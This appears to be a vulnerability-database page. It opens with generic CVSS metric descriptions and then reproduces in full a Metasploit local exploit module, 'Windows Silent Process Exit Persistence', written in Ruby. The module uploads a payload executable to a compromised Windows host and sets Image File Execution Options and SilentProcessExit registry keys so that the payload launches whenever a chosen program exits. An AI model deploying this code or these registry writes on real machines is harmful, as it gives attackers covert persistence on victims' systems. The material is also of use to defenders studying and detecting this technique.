The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Below is a copy: Microsoft Windows Silent Process Exit Persistence
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/file'
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Silent Process Exit Persistence',
'Description' => %q(
Windows allows you to set up a debug process when a process exits.
This module uploads a payload and declares that it is the debug
process to launch when a specified process exits.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Mithun Shanbhag', # earliest author found
'bwatters-r7', # msf module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' =>
[
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Jun 28 2008",
'References' =>
[
['URL', 'https://attack.mitre.org/techniques/T1183/'],
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'true'
}
))
register_options([
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('PATH', [false, 'Path to write payload(%TEMP% by default).', nil]),
OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])
])
end
def upload_payload(dest_pathname)
payload_exe = generate_payload_exe
write_file(dest_pathname, payload_exe)
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
end
def validate_active_host
unless is_system?
fail_with(Failure::NoAccess, "You must be System to run this Module")
end
begin
print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end
def write_reg_keys(image_file, payload_pathname)
reg_keys = []
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
value_name: "GlobalFlag",
type: "REG_DWORD",
value_value: 512)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
value_name: "ReportingMode",
type: "REG_DWORD",
value_value: 1)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
value_name: "MonitorProcess",
type: "REG_SZ",
value_value: payload_pathname)
silent_process_exit_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit"
registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
reg_keys.each do |key|
registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")
registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])
unless registry_getvalinfo(key[:key_name], key[:value_name])
print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")
return false
end
end
end
def exploit
validate_active_host
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
image_file = datastore['IMAGE_FILE']
payload_pathname = temp_path + "\\" + payload_name + '.exe'
vprint_status("Payload pathname = #{payload_pathname}")
upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
end
end
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